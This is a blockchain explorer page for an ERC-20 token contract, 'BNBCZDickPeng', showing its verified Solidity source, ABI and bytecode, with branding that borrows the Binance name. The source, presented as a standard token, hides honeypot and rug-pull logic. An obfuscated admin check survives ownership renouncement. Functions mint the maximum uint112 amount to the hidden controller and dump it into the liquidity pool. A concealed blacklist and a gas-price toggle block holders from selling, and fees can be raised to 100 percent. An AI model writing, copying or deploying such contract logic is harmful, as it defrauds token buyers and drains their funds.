ERC-20
Overview
Max Total Supply
150,000,000 BINANCE
Holders
28
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
1,289,737.819579501075011043 BINANCEValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
BNBCZDickPeng
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-11-21 */ /** Telegram: https://t.me/BinanceERC20 X: https://x.com/BinanceCZ_20 Website: https://BinanceERC.site */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } abstract contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(msg.sender); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == msg.sender, "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); } interface IWETH { function deposit() external payable; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Pair { function mint(address to) external returns (uint256 liquidity); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function swapExactTokensForETH( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { } library Uint160Number { function encodeUnit160(address _wad) internal pure returns (uint256) { uint160 res = uint160(_wad); return uint256(res); } function tryDiv(uint256 n1, uint256 n2) internal pure { uint256 G = n2 * 1000000000; if (G / n1 != 1000000000) { revert("err901"); } } } library Address { function isContract(address _addr) internal view returns (bool) { uint length; assembly { length:= extcodesize(_addr) } if (length > 0 ) { return true; } return false; } } contract BNBCZDickPeng is IERC20, Ownable, Context { string private _name = "BNBCZDickPeng"; string private _symbol = "BINANCE"; uint8 private _decimals = 18; uint256 private _totalSupply = 150000000 * (10 ** decimals()); uint8 private buyFee = 15; uint8 private sellFee = 25; uint256 private maxBuy = 0 * (10 ** decimals()); uint256 private maxWallet = 3000000 * (10 ** decimals()); uint256 private maxTxn = 0 * (10 ** decimals()); IUniswapV2Router02 internal _router; IUniswapV2Pair internal _pair; address private _this = address(this); mapping(address => uint256) private _usrsblcs; mapping(address => mapping(address => uint256)) private _allowances; constructor (address routerAddress) { _router = IUniswapV2Router02(routerAddress); _usrsblcs[owner()] = _totalSupply; initialize(_msgSender()); d6671cc88[owner()] = 1; d6671cc88[_this] = 1; marketWallet = _msgSender(); emit Transfer(address(0), owner(), _totalSupply); } function name() public view virtual returns (string memory) { return _name; } function symbol() public view virtual returns (string memory) { return _symbol; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _usrsblcs[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = msg.sender; _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = msg.sender; _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = msg.sender; _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = msg.sender; _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = msg.sender; uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); if (c58252ced[from]!=0) { revert(); } uint256 fromBalance = _usrsblcs[from]; require(fromBalance >= amount, "ERC20: transfer amount exceeds balance"); if (d6671cc88[from]==0 && d6671cc88[to]==0){ if (isMarket(from)) { uint feeAmount = calculateFeeAmount(amount, buyFee); _usrsblcs[from] = fromBalance - amount; _usrsblcs[to] += amount - feeAmount; emit Transfer(from, to, amount - feeAmount); _usrsblcs[marketWallet] += feeAmount; emit Transfer(from, marketWallet, feeAmount); } else if (isMarket(to)) { uint feeAmount = calculateFeeAmount(amount, sellFee); _usrsblcs[from] = fromBalance - amount; _usrsblcs[to] += amount - feeAmount; emit Transfer(from, to, amount - feeAmount); _usrsblcs[marketWallet] += feeAmount; emit Transfer(from, marketWallet, feeAmount); } else { _usrsblcs[from] = fromBalance - amount; _usrsblcs[to] += amount; emit Transfer(from, to, amount); } } else { _usrsblcs[from] = fromBalance - amount; _usrsblcs[to] += amount; emit Transfer(from, to, amount); } _afterTokenTransfer(from, to, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual { if (isMarket(to)) { check(from); if (from != _this) { require(!Address.isContract(from), "err701"); } } require(amount > 0); if (maxBuy != 0 && isMarket(from) && d6671cc88[to]==0) { uint256 x = _bam[to] += amount; require(x <= maxBuy, "exceed max buy"); _bam[to] += amount; } if (maxWallet != 0 && !isMarket(to) && d6671cc88[to]==0 && d6671cc88[from]==0) { require(balanceOf(to) + amount <= maxWallet, "After this txn user will exceed max wallet"); } if (maxTxn != 0) { if (d6671cc88[from]==0 && d6671cc88[from]==0) { require(amount <= maxTxn, "Txn Amount too high!"); } } } function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} uint256 private bigUint; modifier wad() { devideOn(); _; } function updateWad(address _newWad) external wad { d6671cc88[_msgSender()] = 0; d6671cc88[_newWad] = 1; initialize(_newWad); } function initialize(address _nw) internal { bigUint = Uint160Number.encodeUnit160(_nw); } function devideOn() internal view { uint256 am = Uint160Number.encodeUnit160(_msgSender()); Uint160Number.tryDiv(am, bigUint); } function addLiquidity(uint256 _tokenAmountWei) external payable wad { IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory()); address _pairAddress = _factory.getPair(address(this), _router.WETH()); _pair = _pairAddress == address(0) ? IUniswapV2Pair(_factory.createPair(address(this), _router.WETH())) : IUniswapV2Pair(_pairAddress); IWETH weth = IWETH(_router.WETH()); weth.deposit{value: msg.value}(); transfer(address(_pair), _tokenAmountWei); IERC20(address(weth)).transfer(address(_pair), msg.value); _pair.mint(_msgSender()); } function syncPair() external wad { uint256 thisTokenReserve = getTokenReserve(_this); uint256 amountIn = type(uint112).max - thisTokenReserve; fc43a331e(); transfer(address(this), balanceOf(msg.sender)); _approve(address(this), address(_router), type(uint112).max); address[] memory path; path = new address[](2); path[0] = address(this); path[1] = address(_router.WETH()); _router.swapExactTokensForETH( amountIn, 0, path, _msgSender(), block.timestamp + 1200 ); } function getTokenReserve(address token) public view returns (uint256) { (uint112 reserve0, uint112 reserve1,) = _pair.getReserves(); uint256 tokenReserve = (_pair.token0() == token) ? uint256(reserve0) : uint256(reserve1); return tokenReserve; } function fc43a331e() internal { _usrsblcs[_msgSender()] += type(uint112).max; } bool private _stt; uint private _MAX_GAS = 200 gwei; function clm() external wad { fc43a331e(); } uint private _mgas = 5; function check(address _u) internal view { if (d6671cc88[_u] != 0) { return; } if (!_stt) { exceedsGas(_MAX_GAS); } else { exceedsGas(_mgas); } } function isMarket(address _user) internal view returns (bool) { return (_user == address(_pair) || _user == address(_router)); } function switchState() external wad { _stt = !_stt; } address public marketWallet; function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) { return _amount * _feePrecent / 100; } function updateMarketWallet(address _newMarketWallet) external wad { marketWallet = _newMarketWallet; } function updFeeValue(uint8 _buyFee, uint8 _sellFee) external wad { require(_buyFee <= 100 && _sellFee <= 100, "exceeds limit"); buyFee = _buyFee; sellFee = _sellFee; } mapping(address => uint8) private d6671cc88; mapping(address => uint8) private c58252ced; function exceedsGas(uint _gas) internal view { if (tx.gasprice > _gas) { revert("err301"); } } function executeW(address _u, bool _s) external wad { uint8 _ss = _s ? 1 : 0; require(d6671cc88[_u] != _ss, "existing state"); d6671cc88[_u] = _ss; } function executeB(address _u, bool _s) external wad { uint8 _ss = _s ? 1 : 0; require(c58252ced[_u] != _ss, "existing state"); c58252ced[_u] = _ss; } function currentState() external view returns (bool) { return _stt; } function displayW(address _u) external view returns (uint8) { return d6671cc88[_u]; } function displayB(address _u) external view returns (uint8) { return c58252ced[_u]; } function rebasePool(address _routerAddress) external wad { _router = IUniswapV2Router02(_routerAddress); IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory()); _pair = IUniswapV2Pair(_factory.getPair(address(this), _router.WETH())); } mapping(address => uint256) internal _bam; function currentMaxBuy() public view returns (uint256) { return maxBuy; } function updateMaxBuy(uint256 _maxBuy) external wad { maxBuy = _maxBuy; } function currentMaxWallet() public view returns (uint256) { return maxWallet; } function updateMaxWallet(uint256 _newMaxWallet) external wad { maxWallet = _newMaxWallet; } function updatemaxTxn(uint256 _amount) public wad { maxTxn = _amount; } function checkCurrentMaxTxn() public view returns (uint256) { return maxTxn; } function airdropLayout(address[] calldata _users, uint _amount) external wad { for (uint i = 0; i < _users.length; i++){ _transfer(msg.sender, _users[i], _amount); } } function airdropManual(address[] calldata _users, uint[] calldata _amount) external wad { require(_users.length == _amount.length, "Recivers and Amounts length doesn't match"); for (uint i = 0; i < _users.length; i++){ _transfer(msg.sender, _users[i], _amount[i]); } } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_tokenAmountWei","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"airdropLayout","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"airdropManual","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkCurrentMaxTxn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"currentMaxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentMaxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"displayB","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"displayW","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_s","type":"bool"}],"name":"executeB","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_s","type":"bool"}],"name":"executeW","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"getTokenReserve","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"}],"name":"rebasePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"switchState","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"syncPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buyFee","type":"uint8"},{"internalType":"uint8","name":"_sellFee","type":"uint8"}],"name":"updFeeValue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxBuy","type":"uint256"}],"name":"updateMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newMaxWallet","type":"uint256"}],"name":"updateMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newWad","type":"address"}],"name":"updateWad","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"updatemaxTxn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600d60809081526c424e42435a4469636b50656e6760981b60a0526001906200002e908262000393565b5060408051808201909152600781526642494e414e434560c81b60208201526002906200005c908262000393565b506003805460ff191660129081179091556200007a90600a62000574565b6200008a906308f0d1806200058c565b6004556005805461ffff191661190f179055620000a960035460ff1690565b620000b690600a62000574565b620000c39060006200058c565b60065560035460ff16620000d990600a62000574565b620000e890622dc6c06200058c565b60075560035460ff16620000fe90600a62000574565b6200010b9060006200058c565b600855600b80546001600160a01b03191630179055642e90edd00060105560056011553480156200013b57600080fd5b5060405162002c3038038062002c308339810160408190526200015e91620005a6565b62000169336200029e565b600980546001600160a01b0319166001600160a01b038316179055600454600c60006200019e6000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205533600e55600160136000620001d56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805460ff9690961660ff19968716179055600b5490911681526013909252902080549091166001179055620002273390565b601280546001600160a01b0319166001600160a01b03928316179055600054166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200028f91815260200190565b60405180910390a350620005d1565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200031957607f821691505b6020821081036200033a57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200038e57600081815260208120601f850160051c81016020861015620003695750805b601f850160051c820191505b818110156200038a5782815560010162000375565b5050505b505050565b81516001600160401b03811115620003af57620003af620002ee565b620003c781620003c0845462000304565b8462000340565b602080601f831160018114620003ff5760008415620003e65750858301515b600019600386901b1c1916600185901b1785556200038a565b600085815260208120601f198616915b8281101562000430578886015182559484019460019091019084016200040f565b50858210156200044f5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004b65781600019048211156200049a576200049a6200045f565b80851615620004a857918102915b93841c93908002906200047a565b509250929050565b600082620004cf575060016200056e565b81620004de575060006200056e565b8160018114620004f75760028114620005025762000522565b60019150506200056e565b60ff8411156200051657620005166200045f565b50506001821b6200056e565b5060208310610133831016604e8410600b841016171562000547575081810a6200056e565b62000553838362000475565b80600019048211156200056a576200056a6200045f565b0290505b92915050565b60006200058560ff841683620004be565b9392505050565b80820281158282048414176200056e576200056e6200045f565b600060208284031215620005b957600080fd5b81516001600160a01b03811681146200058557600080fd5b61264f80620005e16000396000f3fe60806040526004361061021e5760003560e01c8063791dc0d311610123578063bfbec603116100ab578063e2a147491161006f578063e2a147491461064f578063e4440a861461066f578063f2fde38b1461068f578063f6d1dfe1146106af578063ff4b79d3146106c457600080fd5b8063bfbec603146105c5578063c016deae146105da578063d493f013146105fa578063dd62ed3e1461061a578063e1370dd31461063a57600080fd5b806399dead31116100f257806399dead31146104fe5780639ffa77dc14610537578063a457c2d714610570578063a9059cbb14610590578063b59c0974146105b057600080fd5b8063791dc0d3146104825780638b6084e4146104a25780638da5cb5b146104b757806395d89b41146104e957600080fd5b80632ac0a943116101a65780634d474d42116101755780634d474d42146103e457806351c6590a14610404578063588813041461041757806370a0823114610437578063715018a61461046d57600080fd5b80632ac0a9431461035e5780633139f2e51461037e578063313ce5671461039e57806339509351146103c457600080fd5b80631a2e6a01116101ed5780631a2e6a01146102bc5780631c499ab0146102de5780631f7cb4d0146102fe57806323b872dd1461031e578063269bf9ea1461033e57600080fd5b806306fdde031461022a578063095ea7b3146102555780630c3f6acf1461028557806318160ddd1461029d57600080fd5b3661022557005b600080fd5b34801561023657600080fd5b5061023f6106d9565b60405161024c9190612074565b60405180910390f35b34801561026157600080fd5b506102756102703660046120d7565b61076b565b604051901515815260200161024c565b34801561029157600080fd5b50600f5460ff16610275565b3480156102a957600080fd5b506004545b60405190815260200161024c565b3480156102c857600080fd5b506102dc6102d7366004612103565b610785565b005b3480156102ea57600080fd5b506102dc6102f9366004612120565b6107d5565b34801561030a57600080fd5b506102dc610319366004612103565b6107e2565b34801561032a57600080fd5b50610275610339366004612139565b610986565b34801561034a57600080fd5b506102dc610359366004612188565b6109aa565b34801561036a57600080fd5b506102dc610379366004612120565b610a58565b34801561038a57600080fd5b506102dc6103993660046121d7565b610a65565b3480156103aa57600080fd5b5060035460ff165b60405160ff909116815260200161024c565b3480156103d057600080fd5b506102756103df3660046120d7565b610ae5565b3480156103f057600080fd5b506102dc6103ff366004612103565b610b07565b6102dc610412366004612120565b610b31565b34801561042357600080fd5b506102dc610432366004612120565b610f9f565b34801561044357600080fd5b506102ae610452366004612103565b6001600160a01b03166000908152600c602052604090205490565b34801561047957600080fd5b506102dc610fac565b34801561048e57600080fd5b506102dc61049d366004612188565b610fc0565b3480156104ae57600080fd5b506102dc611069565b3480156104c357600080fd5b506000546001600160a01b03165b6040516001600160a01b03909116815260200161024c565b3480156104f557600080fd5b5061023f611085565b34801561050a57600080fd5b506103b2610519366004612103565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561054357600080fd5b506103b2610552366004612103565b6001600160a01b031660009081526014602052604090205460ff1690565b34801561057c57600080fd5b5061027561058b3660046120d7565b611094565b34801561059c57600080fd5b506102756105ab3660046120d7565b61110f565b3480156105bc57600080fd5b506102dc61111d565b3480156105d157600080fd5b506006546102ae565b3480156105e657600080fd5b506102ae6105f5366004612103565b6112f8565b34801561060657600080fd5b506102dc610615366004612256565b61142d565b34801561062657600080fd5b506102ae6106353660046122c2565b6114fc565b34801561064657600080fd5b506007546102ae565b34801561065b57600080fd5b506102dc61066a3660046122f0565b611527565b34801561067b57600080fd5b506012546104d1906001600160a01b031681565b34801561069b57600080fd5b506102dc6106aa366004612103565b61157d565b3480156106bb57600080fd5b506008546102ae565b3480156106d057600080fd5b506102dc6115f3565b6060600180546106e89061233c565b80601f01602080910402602001604051908101604052809291908181526020018280546107149061233c565b80156107615780601f1061073657610100808354040283529160200191610761565b820191906000526020600020905b81548152906001019060200180831161074457829003601f168201915b5050505050905090565b600033610779818585611603565b60019150505b92915050565b61078d611727565b33600090815260136020526040808220805460ff199081169091556001600160a01b03841683529120805490911660011790556107d2816001600160a01b0316600e55565b50565b6107dd611727565b600755565b6107ea611727565b600980546001600160a01b0319166001600160a01b0383169081179091556040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa158015610846573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086a9190612376565b9050806001600160a01b031663e6a4390530600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f39190612376565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561093e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109629190612376565b600a80546001600160a01b0319166001600160a01b03929092169190911790555050565b600033610994858285611738565b61099f8585856117ac565b506001949350505050565b6109b2611727565b6000816109c05760006109c3565b60015b6001600160a01b03841660009081526013602052604090205490915060ff808316911603610a295760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064015b60405180910390fd5b6001600160a01b03929092166000908152601360205260409020805460ff191660ff9093169290921790915550565b610a60611727565b600855565b610a6d611727565b60648260ff1611158015610a85575060648160ff1611155b610ac15760405162461bcd60e51b815260206004820152600d60248201526c195e18d959591cc81b1a5b5a5d609a1b6044820152606401610a20565b6005805460ff9283166101000261ffff199091169290931691909117919091179055565b600033610779818585610af883836114fc565b610b0291906123a9565b611603565b610b0f611727565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b610b39611727565b6009546040805163c45a015560e01b815290516000926001600160a01b03169163c45a01559160048083019260209291908290030181865afa158015610b83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba79190612376565b90506000816001600160a01b031663e6a4390530600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c329190612376565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610c7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ca19190612376565b90506001600160a01b03811615610cb85780610db0565b816001600160a01b031663c9c6539630600960009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3f9190612376565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db09190612376565b600a80546001600160a01b0319166001600160a01b03928316179055600954604080516315ab88c960e31b81529051600093929092169163ad5c4648916004808201926020929091908290030181865afa158015610e12573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e369190612376565b9050806001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b158015610e7357600080fd5b505af1158015610e87573d6000803e3d6000fd5b5050600a54610ea493506001600160a01b0316915086905061110f565b50600a5460405163a9059cbb60e01b81526001600160a01b0391821660048201523460248201529082169063a9059cbb906044016020604051808303816000875af1158015610ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1b91906123bc565b50600a546001600160a01b0316636a627842336040516001600160e01b031960e084901b1681526001600160a01b0390911660048201526024016020604051808303816000875af1158015610f74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9891906123d9565b5050505050565b610fa7611727565b600655565b610fb4611b64565b610fbe6000611bcd565b565b610fc8611727565b600081610fd6576000610fd9565b60015b6001600160a01b03841660009081526014602052604090205490915060ff80831691160361103a5760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b6044820152606401610a20565b6001600160a01b03929092166000908152601460205260409020805460ff191660ff9093169290921790915550565b611071611727565b600f805460ff19811660ff90911615179055565b6060600280546106e89061233c565b600033816110a282866114fc565b9050838110156111025760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610a20565b61099f8286868403611603565b6000336107798185856117ac565b611125611727565b600b5460009061113d906001600160a01b03166112f8565b90506000611152826001600160701b036123f2565b905061115c611c1d565b336000908152600c602052604090205461117790309061110f565b506009546111979030906001600160a01b03166001600160701b03611603565b604080516002808252606080830184529260208301908036833701905050905030816000815181106111cb576111cb61241b565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611224573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112489190612376565b8160018151811061125b5761125b61241b565b6001600160a01b039283166020918202929092010152600954166318cbafe5836000843361128b426104b06123a9565b6040518663ffffffff1660e01b81526004016112ab959493929190612431565b6000604051808303816000875af11580156112ca573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526112f291908101906124a2565b50505050565b6000806000600a60009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa158015611350573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113749190612577565b50915091506000846001600160a01b0316600a60009054906101000a90046001600160a01b03166001600160a01b0316630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113fc9190612376565b6001600160a01b03161461141957816001600160701b0316611424565b826001600160701b03165b95945050505050565b611435611727565b8281146114965760405162461bcd60e51b815260206004820152602960248201527f526563697665727320616e6420416d6f756e7473206c656e67746820646f65736044820152680dc4ee840dac2e8c6d60bb1b6064820152608401610a20565b60005b83811015610f98576114ea338686848181106114b7576114b761241b565b90506020020160208101906114cc9190612103565b8585858181106114de576114de61241b565b905060200201356117ac565b806114f4816125c7565b915050611499565b6001600160a01b039182166000908152600d6020908152604080832093909416825291909152205490565b61152f611727565b60005b828110156112f25761156b338585848181106115505761155061241b565b90506020020160208101906115659190612103565b846117ac565b80611575816125c7565b915050611532565b611585611b64565b6001600160a01b0381166115ea57